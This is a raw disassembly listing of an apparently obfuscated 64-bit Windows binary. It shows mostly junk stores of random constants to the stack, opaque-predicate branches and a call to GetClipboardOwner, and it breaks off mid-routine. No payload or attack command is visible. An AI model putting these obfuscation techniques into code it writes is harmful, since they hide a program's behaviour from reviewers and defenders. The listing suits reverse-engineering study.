mov word [rbp + 0x37fe], 0x326
mov word [rbp + 0x37de], 0x17eb
mov dword [rbp + 0x24b6c], 0x71cf31c0
mov word [rbp + 0x24b6a], 0x68dc
mov dword [rbp + 0x24b64], 0x1749fb31
mov byte [rbp + 0x24b63], 0x7c
mov byte [rbp + 0x368c], 0x9b
mov byte [rbp + 0x367f], 0x4b
movabs rax, 0x67475906d6502819
mov qword [rbp + 0x3660], rax
mov byte [rbp + 0x24b62], 0x4a
mov word [rbp + 0x24b60], 0x4eda
mov dword [rbp + 0x361c], 0x71f360c4
mov byte [rbp + 0x24b5f], 0x13
movabs rax, 0x538b1ff6300c519b
mov qword [rbp + 0x24b50], rax
mov word [rbp + 0x35ba], 0xcce
mov byte [rbp + 0x35b3], 0xf
mov word [rbp + 0x35b0], 0x309
movabs rax, 0x23638edbf3d0a2fc
mov qword [rbp + 0x24b48], rax
mov dword [rbp + 0x24b44], 0x1644e15c
movabs rax, 0x82646d374b64e735
mov qword [rbp + 0x3590], rax
mov word [rbp + 0x357a], 0x6d1
mov byte [rbp + 0x24b43], 0x51
mov word [rbp + 0x24b40], 0x27d
mov dword [rbp + 0x3530], 0x51f2e90e
mov dword [rbp + 0x24b3c], 0x6f7b6cbc
movabs rax, 0x5a54478a0412163d
mov qword [rbp + 0x3508], rax
mov word [rbp + 0x34c6], 0x64cd
mov byte [rbp + 0x34a3], 0xf7
movabs rax, 0x73f9866880885fae
mov qword [rbp + 0x3400], rax
mov byte [rbp + 0x33fd], 0xa
mov byte [rbp + 0x24b3b], 0xa8
mov byte [rbp + 0x33bf], 0x47
mov word [rbp + 0x338e], 0x7c4
mov word [rbp + 0x338c], 0xa67
mov byte [rbp + 0x3389], 0x64
mov dword [rbp + 0x3358], 0x67e862d6
movabs rax, 0x58db886131edbcc4
mov qword [rbp + 0x3350], rax
mov dword [rbp + 0x24b34], 0x2419d57c
movabs rax, 0x18ca9660081db3c1
mov qword [rbp + 0x24b28], rax
mov dword [rbp + 0x3304], 0x2fa749a1
mov dword [rbp + 0x24b24], 0x45eec792
mov byte [rbp + 0x32d9], 0x29
mov dword [rbp + 0x32d4], 0x576af36c
mov dword [rbp + 0x24b20], 0xbe436271
movabs rax, 0xf0ae8eca2a69b25
mov qword [rbp + 0x32b8], rax
movabs rax, 0x5265505fc54c5ceb
mov qword [rbp + 0x3290], rax
mov byte [rbp + 0x328f], 0x24
mov byte [rbp + 0x328e], 0xec
mov byte [rbp + 0x328d], 0x2d
movabs rax, 0xe14f3857be16d51a
mov qword [rbp + 0x24b18], rax
mov dword [rbp + 0x3264], 0x390a6b0e
movabs rax, 0xb95b0f1e91c309c
mov qword [rbp + 0x3250], rax
mov dword [rbp + 0x323c], 0x5064e487
movabs rax, 0x7e8bd42711fe4b70
mov qword [rbp + 0x24b10], rax
mov byte [rbp + 0x24b0f], 2
mov dword [rbp + 0x3200], 0xbd659d34
movabs rax, 0x58dce0ab541407dc
mov qword [rbp + 0x24b00], rax
mov dword [rbp + 0x24afc], 0x3649edcc
mov dword [rbp + 0x24af8], 0x6da59d
mov word [rbp + 0x24af6], 0x962
mov byte [rbp + 0x31b7], 0xb2
mov dword [rbp + 0x3188], 0x233ddbed
mov byte [rbp + 0x3177], 0x40
mov dword [rbp + 0x24af0], 0xc5375670
mov dword [rbp + 0x3150], 0x6ecebdba
mov byte [rbp + 0x24aef], 0x4a
movabs rax, 0x391e49196d8f334a
mov qword [rbp + 0x3140], rax
mov word [rbp + 0x24aec], 0x7a0
mov dword [rbp + 0x30dc], 0x506c1332
mov dword [rbp + 0x24ae8], 0xfaa81fd3
mov word [rbp + 0x24ae6], 0x46c
mov word [rbp + 0x24ae4], 0xaf9
mov word [rbp + 0x3006], 0x429f
mov byte [rbp + 0x24ae3], 0x7f
mov byte [rbp + 0x24ae2], 0x51
movabs rax, 0xfd4fa0d2687d4e0
mov qword [rbp + 0x24ad8], rax
mov dword [rbp + 0x2f94], 0x24a6f472
mov word [rbp + 0x2f8e], 0x54a
mov byte [rbp + 0x24ad7], 0xd3
movabs rax, 0xf9c649bcd88b2af6
mov qword [rbp + 0x2f80], rax
movabs rax, 0x23964718eb3b0de2
mov qword [rbp + 0x2f20], rax
mov dword [rbp + 0x2f1c], 0x2f9f19a9
mov dword [rbp + 0x24ad0], 0x39177a9
mov dword [rbp + 0x2f0c], 0x634ba3b
mov byte [rbp + 0x2eee], 0x78
mov byte [rbp + 0x2ecd], 0x52
mov word [rbp + 0x2eca], 0xa2e
mov dword [rbp + 0x2ec4], 0x467034de
mov dword [rbp + 0x24acc], 0x195ed5ff
mov byte [rbp + 0x2e97], 0xb0
mov dword [rbp + 0x24ac8], 0x1063b881
movabs rax, 0x4608bdfdc1df623b
mov qword [rbp + 0x24ac0], rax
movabs rax, 0x6fd6f0a2189992d8
mov qword [rbp + 0x2e60], rax
movabs rax, 0xba3a724afa2b7cee
mov qword [rbp + 0x24ab8], rax
movabs rax, 0xd2586205b18328eb
mov qword [rbp + 0x24ab0], rax
mov dword [rbp + 0x2e3c], 0x15a32fa8
mov word [rbp + 0x2e04], 0xde8
movabs rax, 0xbe3cca807f6c20a5
mov qword [rbp + 0x24aa8], rax
mov dword [rbp + 0x2e00], 0x62d3fbb7
movabs rax, 0xc2217e9f3ba34a6e
mov qword [rbp + 0x24aa0], rax
mov dword [rbp + 0x2de0], 0x177851f4
mov word [rbp + 0x2dd2], 0x777d
movabs rax, 0x4232977aec705154
mov qword [rbp + 0x2d98], rax
mov word [rbp + 0x2d96], 0x580c
mov word [rbp + 0x2d94], 0x7e2d
mov word [rbp + 0x2d90], 0x193
mov byte [rbp + 0x2d8f], 0x15
mov byte [rbp + 0x24a9f], 0x59
mov byte [rbp + 0x24a9e], 0x18
mov byte [rbp + 0x24a9d], 0x8e
movabs rax, 0xc160c4751d26541e
mov qword [rbp + 0x2cc8], rax
mov dword [rbp + 0x24a98], 0xa8e759cb
movabs rax, 0x4757218aa59d2629
mov qword [rbp + 0x2ca8], rax
movabs rax, 0xda6cb7e24942ba9f
mov qword [rbp + 0x24a90], rax
mov byte [rbp + 0x2c91], 0x86
mov byte [rbp + 0x2c81], 0x3f
mov byte [rbp + 0x2c67], 0x7d
movabs rax, 0x7ab99b7e37774f4a
mov qword [rbp + 0x24a88], rax
mov word [rbp + 0x24a86], 0xaa7
movabs rax, 0x16258ccfd6ef3d6f
mov qword [rbp + 0x2c58], rax
movabs rax, 0x3919260116bbf082
mov qword [rbp + 0x24a78], rax
mov word [rbp + 0x24a76], 0x549c
movabs rax, 0x148ad0624026a8cc
mov qword [rbp + 0x24a68], rax
mov dword [rbp + 0x24a64], 0x4be3f5bf
mov dword [rbp + 0x24a60], 0x49fdc819
mov byte [rbp + 0x24a5f], 0x59
mov dword [rbp + 0x2bfc], 0x8f6226d9
mov byte [rbp + 0x24a5e], 0x69
mov byte [rbp + 0x2bdf], 0x41
mov byte [rbp + 0x2bcb], 0x15
mov word [rbp + 0x24a5c], 0x14e3
movabs rax, 0x7079f6c517fbddeb
mov qword [rbp + 0x2ba8], rax
movabs rax, 0x56ac266a68e95bb1
mov qword [rbp + 0x24a50], rax
movabs rax, 0x56549d0ce3ad4a57
mov qword [rbp + 0x24a48], rax
movabs rax, 0x5fe0fe8bc137aaa5
mov qword [rbp + 0x2b98], rax
mov byte [rbp + 0x2b97], 0xe9
movabs rax, 0xc840afed6e7ad8de
mov qword [rbp + 0x2b88], rax
mov word [rbp + 0x2b2a], 0xe3
movabs rax, 0x5d1984618ef200e1
mov qword [rbp + 0x2af0], rax
mov byte [rbp + 0x2adf], 0x27
mov word [rbp + 0x24a46], 0x187d
mov dword [rbp + 0x24a40], 0x25cfe4c7
mov word [rbp + 0x2aa2], 0x5c92
movabs rax, 0x39728b0f29468084
mov qword [rbp + 0x24a38], rax
mov word [rbp + 0x2a3e], 0xcb1
mov dword [rbp + 0x24a34], 0x1217d49
mov word [rbp + 0x24a32], 0x6b23
mov word [rbp + 0x24a30], 0x21b
mov dword [rbp + 0x24a2c], 0x4a66f6e
movabs rax, 0xd2f8e75f63367715
mov qword [rbp + 0x24a20], rax
mov byte [rbp + 0x21a7], 0x61
mov word [rbp + 0x21a4], 0x846
movabs rax, 0x27565e91cf235ffd
mov qword [rbp + 0x2190], rax
movabs rax, 0x4e10566442abbe68
mov qword [rbp + 0x2150], rax
mov byte [rbp + 0x24a1f], 0x25
mov byte [rbp + 0x24a1e], 0xca
mov byte [rbp + 0x2117], 0x5b
mov byte [rbp + 0x20ed], 0x51
movabs rax, 0x2f3e45fc2f8c473a
mov qword [rbp + 0x20d0], rax
movabs rax, 0x9f96dbd1bf1aa00b
mov qword [rbp + 0x20b8], rax
mov dword [rbp + 0x24a18], 0xc77480e4
movabs rax, 0x601c551918811592
mov qword [rbp + 0x20a8], rax
mov byte [rbp + 0x24a17], 0x3a
mov word [rbp + 0x205c], 0x6eee
mov dword [rbp + 0x24a10], 0x2435a689
mov byte [rbp + 0x24a0f], 0x6f
mov word [rbp + 0x24a0c], 0x222
mov word [rbp + 0x1fe2], 0x53c
mov word [rbp + 0x1fcc], 0x776
mov word [rbp + 0x1fb6], 0x3998
mov dword [rbp + 0x24a08], 0x775ec583
movabs rax, 0xf1a925877356e28
mov qword [rbp + 0x1fa8], rax
mov word [rbp + 0x24a06], 0x3fc
mov dword [rbp + 0x24a00], 0x64e3c094
mov dword [rbp + 0x249fc], 0xf53913bb
mov byte [rbp + 0x1f57], 0x56
mov dword [rbp + 0x1f38], 0x72647da2
movabs rax, 0x48c714aa08b01bca
mov qword [rbp + 0x249f0], rax
mov byte [rbp + 0x1f2b], 0x3e
mov byte [rbp + 0x249ef], 0xd3
mov byte [rbp + 0x1eee], 0x51
mov dword [rbp + 0x1ee8], 0x407a55a8
mov dword [rbp + 0x1ee4], 0x92806e0e
mov byte [rbp + 0x1ed3], 0xb2
mov byte [rbp + 0x249ee], 0x3e
mov dword [rbp + 0x1e98], 0x2464a911
mov dword [rbp + 0x1e88], 0xc37d8b95
mov word [rbp + 0x1e7a], 0xdcc
movabs rax, 0x6faf079d10156912
mov qword [rbp + 0x1e68], rax
mov dword [rbp + 0x249e8], 0x28f1db9
mov byte [rbp + 0x1e1b], 0x52
mov byte [rbp + 0x249e7], 0x31
mov byte [rbp + 0x1e08], 0xdb
movabs rax, 0x4d04a755a21c6142
mov qword [rbp + 0x249d8], rax
mov word [rbp + 0x249d6], 0x31f
mov byte [rbp + 0x249d5], 5
mov dword [rbp + 0x249d0], 0x5611b222
mov byte [rbp + 0x249cf], 4
mov byte [rbp + 0x1d8a], 0x2d
mov dword [rbp + 0x249c8], 0xd54d4f5e
mov word [rbp + 0x1d76], 0x55cb
movabs rax, 0x2523ee4315b98a3d
mov qword [rbp + 0x249c0], rax
mov word [rbp + 0x1d32], 0xb3d
movabs rax, 0x77a0f089fcfa6f57
mov qword [rbp + 0x1d00], rax
mov dword [rbp + 0x249bc], 0x4b8cd10f
movabs rax, 0x533181c4b1bcc9bd
mov qword [rbp + 0x249b0], rax
mov word [rbp + 0x1cb6], 0x5a16
mov byte [rbp + 0x1c9d], 9
movabs rax, 0x1afc4cf79b15a06f
mov qword [rbp + 0x249a8], rax
movabs rax, 0xdeff86a0dfd122b
mov qword [rbp + 0x249a0], rax
mov dword [rbp + 0x2499c], 0x32a4c7bd
mov byte [rbp + 0x2499b], 0x6f
mov word [rbp + 0x24998], 0x7f61
mov byte [rbp + 0x24997], 9
mov word [rbp + 0x24994], 0x3eb
mov byte [rbp + 0x1c13], 0xb0
movabs rax, 0x3f39452fe48ab554
mov qword [rbp + 0x1c08], rax
mov dword [rbp + 0x1b98], 0x35292c6e
mov dword [rbp + 0x1b90], 0x76290ce5
mov word [rbp + 0x24992], 0x1cce
mov word [rbp + 0x1b24], 0x7eac
movabs rax, 0xfb2041e3a57a489
mov qword [rbp + 0x1b08], rax
mov byte [rbp + 0x1ae3], 0xcd
mov word [rbp + 0x24990], 0xf55
movabs rax, 0x62086f7ad4255b35
mov qword [rbp + 0x1ac0], rax
mov byte [rbp + 0x2498f], 0x8c
mov word [rbp + 0x1a4a], 0x3313
mov word [rbp + 0x2498c], 0x37e
mov word [rbp + 0x1a34], 0x1a9d
mov byte [rbp + 0x2498b], 0x6f
mov byte [rbp + 0x19ff], 0x4f
mov dword [rbp + 0x24984], 0x9bfdd44d
mov dword [rbp + 0x19c0], 0x5720da3b
mov dword [rbp + 0x24980], 0x7addd89e
mov word [rbp + 0x19ac], 0x1c6
mov word [rbp + 0x2497e], 0x22a7
mov dword [rbp + 0x1954], 0x3e2381ee
mov dword [rbp + 0x24978], 0xfa2e98f3
movabs rax, 0xaf470533ec0153f8
mov qword [rbp + 0x1938], rax
movabs rax, 0x2be762ddcdf4c4ef
mov qword [rbp + 0x18e0], rax
mov dword [rbp + 0x24974], 0xbdd91191
mov dword [rbp + 0x18bc], 0x473e3d3
movabs rax, 0x33cb7061eb53c52
mov qword [rbp + 0x18a8], rax
mov dword [rbp + 0x18a4], 0x204b0cd9
mov dword [rbp + 0x1890], 0x5cac04bb
mov byte [rbp + 0x188b], 0x8b
mov word [rbp + 0x1888], 0xe37
movabs rax, 0x53ffeb880aba16ec
mov qword [rbp + 0x24968], rax
movabs rax, 0x866045fbbe921b36
mov qword [rbp + 0x1860], rax
movabs rax, 0x687dbfa1cbc23eea
mov qword [rbp + 0x24960], rax
movabs rax, 0x6eb3dd1eb5501022
mov qword [rbp + 0x24958], rax
mov dword [rbp + 0x1814], 0x96c856c8
mov byte [rbp + 0x17f3], 0x49
mov word [rbp + 0x17e2], 0xdb2
mov dword [rbp + 0x17d0], 0x762c6579
mov dword [rbp + 0x24954], 0x6548e908
mov dword [rbp + 0x24950], 0x6534a04a
mov byte [rbp + 0x17bb], 0x4a
mov byte [rbp + 0x2494f], 0x2f
mov word [rbp + 0x17ac], 0x46d
mov dword [rbp + 0x1794], 0x65abd3bd
movabs rax, 0x5053f2e9bf9187df
mov qword [rbp + 0x1788], rax
movabs rax, 0x151d1b659c640ed9
mov qword [rbp + 0x1778], rax
mov dword [rbp + 0x1768], 0x5fa5ad1b
movabs rax, 0x95fb24faeab763c
mov qword [rbp + 0x1760], rax
mov word [rbp + 0x175a], 0xb1
mov word [rbp + 0x2494c], 0x3aea
mov dword [rbp + 0x1754], 0x1d7f5673
movabs rax, 0x5bb3f5245df3034
mov qword [rbp + 0x16d8], rax
movabs rax, 0x3cfd94429f4a0a40
mov qword [rbp + 0x16d0], rax
movabs rax, 0xb1f22fba7a877ddf
mov qword [rbp + 0x24940], rax
mov dword [rbp + 0x2493c], 0xb83b3d8
mov byte [rbp + 0x169e], 0x55
mov dword [rbp + 0x1690], 0x1498d5a8
movabs rax, 0xf6a1450f45d3bd1e
mov qword [rbp + 0x1640], rax
mov byte [rbp + 0x1637], 0xed
movabs rax, 0x699a8f6f45c08c2f
mov qword [rbp + 0x1628], rax
mov byte [rbp + 0x1617], 0x1d
movabs rax, 0x35228f6ce987b9e3
mov qword [rbp + 0x24930], rax
movabs rax, 0x346b794b09cdfa56
mov qword [rbp + 0x15a8], rax
mov word [rbp + 0x1592], 0xb
movabs rax, 0x2303be200edfc7ff
mov qword [rbp + 0x1588], rax
mov byte [rbp + 0x2492f], 0x47
mov word [rbp + 0x2492c], 0xb00
mov byte [rbp + 0x2492b], 0x58
mov word [rbp + 0x24928], 0x3bf9
movabs rax, 0x35dccd2fe09fd608
mov qword [rbp + 0x24920], rax
mov byte [rbp + 0x2491f], 0xf
mov word [rbp + 0x2491c], 0x25b2
mov word [rbp + 0x1504], 0x736
mov word [rbp + 0x1500], 0xea3
mov dword [rbp + 0x24918], 0x3f59c469
mov byte [rbp + 0x24917], 0x5e
mov byte [rbp + 0x14c1], 0x26
movabs rax, 0x3046409b67d6ac67
mov qword [rbp + 0x14b0], rax
mov byte [rbp + 0x14ae], 0x45
mov dword [rbp + 0x24910], 0x9ce4d03
mov dword [rbp + 0x1480], 0x107317d6
movabs rax, 0x22c27d89b75d525
mov qword [rbp + 0x24908], rax
mov byte [rbp + 0x24907], 0x33
movabs rax, 0x10e94543e1abdfee
mov qword [rbp + 0x1410], rax
mov dword [rbp + 0x1408], 0x55d104b4
mov dword [rbp + 0x1404], 0x2b1ff42e
movabs rax, 0x9a138e45f2da6cc4
mov qword [rbp + 0x248f8], rax
mov byte [rbp + 0x13f7], 0x30
mov word [rbp + 0x13b6], 0x1cc8
mov byte [rbp + 0x13ab], 0x26
mov byte [rbp + 0x1387], 0x96
mov dword [rbp + 0x248f4], 0x89b765f6
movabs rax, 0xb2cf271710a9d823
mov qword [rbp + 0x1368], rax
mov byte [rbp + 0x1323], 0x5b
mov dword [rbp + 0x12f8], 0x2ef9afc6
mov word [rbp + 0x12cc], 0x50a
mov dword [rbp + 0x248f0], 0x3adcaafd
movabs rax, 0x81d8e0c8d5f7662
mov qword [rbp + 0x248e8], rax
movabs rax, 0x2b1c21b960bd51b6
mov qword [rbp + 0x1218], rax
mov byte [rbp + 0x1215], 0x68
movabs rax, 0x17484331b59f0ef
mov qword [rbp + 0x248e0], rax
mov word [rbp + 0x248de], 0x527
movabs rax, 0x762192f537360b29
mov qword [rbp + 0x11d0], rax
mov byte [rbp + 0x11c3], 0x63
mov dword [rbp + 0x11bc], 0x7443cd24
mov dword [rbp + 0x1178], 0xabf35fc6
mov dword [rbp + 0x1168], 0x17cd6783
movabs rax, 0xde3669cde5c680ab
mov qword [rbp + 0x248d0], rax
mov byte [rbp + 0x1153], 0x44
movabs rax, 0xfeb2ec2490721a1
mov qword [rbp + 0x248c8], rax
mov word [rbp + 0x248c6], 0xe28
mov word [rbp + 0x248c4], 0xad
movabs rax, 0x62e06169d6af4507
mov qword [rbp + 0x248b8], rax
mov word [rbp + 0x105a], 0xd62
movabs rax, 0x23edc5a85b0b4e99
mov qword [rbp + 0x248b0], rax
movabs rax, 0xeff90f0a9e9e4e03
mov qword [rbp + 0x248a8], rax
movabs rax, 0xddb4d85d7714b312
mov qword [rbp + 0xfb8], rax
mov byte [rbp + 0xfb3], 0x36
movabs rax, 0x4f745fca56593bef
mov qword [rbp + 0x248a0], rax
movabs rax, 0xf725f6d9001e238
mov qword [rbp + 0x24898], rax
mov byte [rbp + 0xf75], 0xd9
mov word [rbp + 0x24896], 0x456a
mov dword [rbp + 0x24890], 0xe022af5
mov dword [rbp + 0xef4], 0x50538eb9
movabs rax, 0x97d19001a16b414
mov qword [rbp + 0xee0], rax
mov byte [rbp + 0x2488f], 0x64
mov word [rbp + 0x2488c], 0x212b
movabs rax, 0x2552f5f26ac39128
mov qword [rbp + 0xe48], rax
mov dword [rbp + 0x24888], 0x232312c6
mov word [rbp + 0x24886], 0x32d
mov dword [rbp + 0xe10], 0x86a91b75
mov dword [rbp + 0xe04], 0x685b4814
movabs rax, 0x3f5a5e71b3ff1834
mov qword [rbp + 0x24878], rax
mov word [rbp + 0x24876], 0x4b4
mov byte [rbp + 0xb7b], 0x65
mov dword [rbp + 0xb64], 0xde15716a
movabs rax, 0x6666ae7bd4f42344
mov qword [rbp + 0xb10], rax
mov byte [rbp + 0xabd], 0x3a
movabs rax, 0xbac073a37b182ba3
mov qword [rbp + 0xa78], rax
mov byte [rbp + 0x24875], 0x26
mov dword [rbp + 0xa6c], 0x9d82368
mov byte [rbp + 0xa61], 0x60
mov dword [rbp + 0x24870], 0x5635b237
mov byte [rbp + 0x9ff], 0x14
mov word [rbp + 0x2486e], 0x991
mov word [rbp + 0x2486c], 0x6691
mov byte [rbp + 0x98f], 0xd2
movabs rax, 0x61e903c7c6d2907b
mov qword [rbp + 0x968], rax
movabs rax, 0x36b7e9a69ffc9290
mov qword [rbp + 0x958], rax
mov byte [rbp + 0x957], 4
mov dword [rbp + 0x24868], 0x6514291
mov byte [rbp + 0x24867], 0x73
movabs rax, 0x59cd3b954ca3d405
mov qword [rbp + 0x24858], rax
mov dword [rbp + 0x24854], 0x7ade0bbe
mov word [rbp + 0x24852], 0xd17
movabs rax, 0x1610b85de4288a93
mov qword [rbp + 0x24848], rax
mov byte [rbp + 0x8f7], 0x66
mov dword [rbp + 0x24844], 0x78316dd3
mov byte [rbp + 0x8cf], 0x36
movabs rax, 0x341fd619d725b2e
mov qword [rbp + 0x8c0], rax
mov word [rbp + 0x8be], 0x6447
mov dword [rbp + 0x24840], 0xe7a0f40
mov dword [rbp + 0x898], 0xacceb8e3
mov word [rbp + 0x894], 0x2e3
mov dword [rbp + 0x844], 0xb357e6ed
mov byte [rbp + 0x2483f], 0x5a
mov word [rbp + 0x2483c], 0xdbb
mov byte [rbp + 0x807], 0xc3
mov byte [rbp + 0x2483b], 0x3f
mov dword [rbp + 0x24834], 0x75091d76
movabs rax, 0x3448ed7a70c9534
mov qword [rbp + 0x24828], rax
mov dword [rbp + 0x24824], 0x47d9f1e2
mov dword [rbp + 0x7a8], 0x5a4eee1f
mov byte [rbp + 0x797], 0x23
movabs rax, 0x547697b35cc11530
mov qword [rbp + 0x788], rax
mov word [rbp + 0x24822], 0x1996
mov word [rbp + 0x76e], 0x862
movabs rax, 0x2514e9cddf6606a3
mov qword [rbp + 0x720], rax
mov word [rbp + 0x714], 0xf1a
mov byte [rbp + 0x24821], 0x95
mov dword [rbp + 0x6b8], 0x7ef4bb7a
mov word [rbp + 0x2481e], 0x140c
mov dword [rbp + 0x24818], 0x5f2ec866
mov word [rbp + 0x6ae], 0xea9
movabs rax, 0x93563e94a9976882
mov qword [rbp + 0x690], rax
mov dword [rbp + 0x688], 0x10a13c
movabs rax, 0xac03e1f582643b0
mov qword [rbp + 0x648], rax
movabs rax, 0x5e139e5d233b832c
mov qword [rbp + 0x628], rax
mov word [rbp + 0x624], 0xb0f
mov dword [rbp + 0x5e4], 0x39f135ff
movabs rax, 0x182ceea4f02e40ab
mov qword [rbp + 0x5d0], rax
mov byte [rbp + 0x24817], 0x59
mov byte [rbp + 0x24816], 0x49
movabs rax, 0x56b8699b8d510fa9
mov qword [rbp + 0x24808], rax
mov dword [rbp + 0x24804], 0x485d80c0
movabs rax, 0x225f61c991de2231
mov qword [rbp + 0x247f8], rax
mov byte [rbp + 0x247f7], 0x24
mov dword [rbp + 0x247f0], 0xf160c5b
mov byte [rbp + 0x247ef], 0x2f
mov word [rbp + 0x247ec], 0xc86
mov dword [rbp + 0x4b8], 0x44e68a4c
mov byte [rbp + 0x247eb], 0xc
mov dword [rbp + 0x247e4], 0x63aad1c0
mov byte [rbp + 0x247e3], 0xde
mov byte [rbp + 0x247e2], 0x30
movabs rax, 0x8a6f3a533ae73de2
mov qword [rbp + 0x470], rax
movabs rax, 0xeefa2603c639268
mov qword [rbp + 0x247d8], rax
movabs rax, 0xb2c56fe0596eda6a
mov qword [rbp + 0x247d0], rax
mov dword [rbp + 0x247cc], 0xad12f095
mov dword [rbp + 0x247c8], 0xfab0179
mov dword [rbp + 0x2d8], 0x85f81e81
mov byte [rbp + 0x2c5], 3
mov word [rbp + 0x247c6], 0x486
mov byte [rbp + 0x25f], 0x68
mov byte [rbp + 0x247c5], 0x2f
mov dword [rbp + 0x247c0], 0xef1a78cf
mov word [rbp + 0x247be], 0x7e3c
mov dword [rbp + 0x247b8], 0x26d0c6ba
movabs rax, 0xf0527d4768ebf30
mov qword [rbp + 0x247b0], rax
mov byte [rbp + 0x203], 0x56
mov word [rbp + 0x1fe], 0x55fb
movabs rax, 0x8c70efd291f94ac
mov qword [rbp + 0x1f0], rax
movabs rax, 0xb76a256b74c5ba0c
mov qword [rbp + 0x247a8], rax
mov word [rbp + 0x247a6], 0x64
mov byte [rbp + 0x247a5], 0x1e
mov dword [rbp + 0xe8], 0xaa2885af
movabs rax, 0x3ccddd68fe9b717f
mov qword [rbp + 0x24798], rax
mov word [rbp + 0x24796], 0x3509
mov byte [rbp + 0x9f], 0x38
movabs rax, 0x16e3eeaed07c0772
mov qword [rbp + 0x58], rax
mov byte [rbp + 0x24795], 0x40
mov word [rbp + 0x24792], 0x30d9
mov byte [rbp + 0x4d], 2
mov dword [rbp + 0x2478c], 0x1881b20b
mov dword [rbp + 0x24788], 0xdba9517d
movabs rax, 0x4eb90502728dc6d4
mov qword [rbp + 0x2bd0], rax
mov rax, qword [0x140170310]
movabs rdx, 0x4d5ade3ee07326c5
add rax, rdx
mov qword [0x140170310], rax
mov eax, dword [rbp + 0x361c]
sub eax, 0x5d3dc6bd
mov dword [rbp + 0x361c], eax
mov dword [rbp + 0x250fc], 0x6343
mov word [rbp + 0x175e], 0x2c73
mov eax, dword [rbp + 0x361c]
cmp eax, 0x3f118e86
je 0x14015b9bc
mov rdx, qword [rbp + 0x2bd0]
movabs rax, 0x45f0f8cd5d265e1c
cmp rdx, rax
jle 0x140006b47
mov dword [rbp + 0x2aa4], 0x19fcdbc
mov rdx, qword [0x140170310]
movabs rax, 0xad164438ceed9f30
cmp rdx, rax
jne 0x140006b32
movzx eax, word [rbp + 0x175e]
cwde
cmp eax, 0x2c73
jne 0x140006b14
mov eax, dword [rbp + 0x361c]
mov dword [rbp + 0x6aa4], eax
mov dword [rbp + 0x2506c], 0x220c
mov rax, qword [0x140170310]
mov qword [rbp + 0x3cc8], rax
mov dword [rbp + 0x2515c], 0x7e15
mov byte [rbp + 0x719a], 0x70
lea rax, [rbp + 0x175e]
mov qword [rbp + 0x3fa0], rax
mov dword [rbp + 0x25068], 0x95a2
jmp 0x140006b30
mov rax, qword [rbp + 0x3cc8]
movabs rdx, 0x9a8ad450b677f57f
xor rax, rdx
mov qword [0x140170310], rax
nop
jmp 0x140006b93
movzx edx, word [rbp + 0x175e]
mov rax, qword [rbp + 0x3fa0]
add edx, edx
mov word [rax], dx
jmp 0x140006b93
mov rdx, qword [rbp + 0x3cc8]
mov eax, dword [rbp + 0x361c]
mov ecx, eax
call fcn.14015ba84
mov rax, qword [sym.imp.USER32.dll_GetClipboardOwner]
call rax
mov qword [rbp + 0x250d8], rax
mov rax, qword [rbp + 0x3fa0]
movzx eax, word [rax]
movsx edx, ax
movzx eax, word [rbp + 0x175e]
cwde
mov ecx, eax
sar edx, cl
mov rax, qword [rbp + 0x3fa0]
mov word [rax], dx
call fcn.14015baac
mov dword [rbp + 0x250d4], 0xa7b9
mov byte [rbp + 0xe69], 0x15
mov dword [rbp + 0x25134], 0x574e
lea rax, [rbp + 0x719a]
mov qword [rbp + 0x3c40], rax
jmp 0x140006f26
movzx edx, word [rbp + 0x175e]
mov rax, qword [rbp + 0x3fa0]
or dx, 0x2ee9
mov word [rax], dx
mov rax, qword [rbp + 0x2bd0]
movabs rdx, 0x2c15aecdd138b89
add rax, rdx
mov qword [rbp + 0x2bd0], rax
mov rax, qword [rbp + 0x3fa0]
movzx eax, word [rax]
sub ax, 0x2a21
mov word [rbp + 0x175e], ax
movzx edx, word [rbp + 0x175e]
mov rax, qword [rbp + 0x3fa0]
and dx, 0x5463
mov word [rax], dx
movzx edx, byte [rbp + 0x719a]
mov rax, qword [rbp + 0x3c40]
sub edx, 0x12
mov byte [rax], dl
mov rax, qword [rbp + 0x3c40]
movzx eax, byte [rax]
add eax, 0x1a
mov byte [rbp + 0x719a], al
mov eax, dword [rbp + 0x6aa4]
add eax, 0x7733de39
mov dword [rbp + 0x361c], eax
movzx eax, word [rbp + 0x175e]
lea edx, [rax - 0x5fee]
mov rax, qword [rbp + 0x3fa0]
mov word [rax], dx
mov rax, qword [0x140170310]
movabs rdx, 0x98f8104abd9acefd
or rax, rdx
mov qword [rbp + 0x3cc8], rax
mov rax, qword [rbp + 0x3c40]
movzx ecx, byte [rax]
movzx edx, byte [rbp + 0x719a]
mov rax, qword [rbp + 0x3c40]
xor edx, ecx
mov byte [rax], dl
movzx eax, byte [rbp + 0xe69]
shl eax, 3
mov byte [rbp + 0xe69], al
add dword [rbp + 0x2506c], 0x38
movzx edx, word [rbp + 0x175e]
mov rax, qword [rbp + 0x3fa0]
sar dx, 0xb
mov word [rax], dx
mov rax, qword [rbp + 0x3c40]
movzx ecx, byte [rax]
movzx edx, byte [rbp + 0x719a]
mov rax, qword [rbp + 0x3c40]
and edx, ecx
mov byte [rax], dl
mov rax, qword [rbp + 0x3cc8]
movabs rdx, 0xf388ae7efec04bb3
add rax, rdx
mov qword [0x140170310], rax
mov rax, qword [0x140170310]
movabs rdx, 0x5021c4bb55c68d9f
add rax, rdx
mov qword [rbp + 0x3cc8], rax
mov rax, qword [rbp + 0x3fa0]
movzx eax, word [rax]
mov edx, eax
movzx eax, word [rbp + 0x175e]
add edx, eax
mov rax, qword [rbp + 0x3fa0]
mov word [rax], dx
mov rax, qword [rbp + 0x2bd0]
movabs rdx, 0x89793ce12d0bb0fd
add rax, rdx
mov qword [rbp + 0x2bd0], rax
mov rax, qword [rbp + 0x3fa0]
movzx ecx, word [rax]
movzx edx, word [rbp + 0x175e]
mov rax, qword [rbp + 0x3fa0]
and edx, ecx
mov word [rax], dx
movzx edx, byte [rbp + 0x719a]
mov rax, qword [rbp + 0x3c40]
add edx, 0x33
mov byte [rax], dl
mov rax, qword [rbp + 0x3fa0]
movzx eax, word [rax]
sub ax, 0x288a
mov word [rbp + 0x175e], ax
mov rax, qword [rbp + 0x3c40]
movzx eax, byte [rax]
add eax, 0x36
mov byte [rbp + 0x719a], al
movzx eax, byte [rbp + 0xe69]
sub eax, 0x2b
mov byte [rbp + 0xe69], al
mov rax, qword [rbp + 0x3cc8]
movabs rdx, 0x45471c56782eaa0e
or rax, rdx
mov qword [0x140170310], rax
mov eax, dword [rbp + 0x6aa4]
shl eax, 0xc
mov dword [rbp + 0x361c], eax
mov rax, qword [rbp + 0x3fa0]
movzx eax, word [rax]
movsx edx, ax
movzx eax, word [rbp + 0x175e]
cwde
mov ecx, eax
sar edx, cl
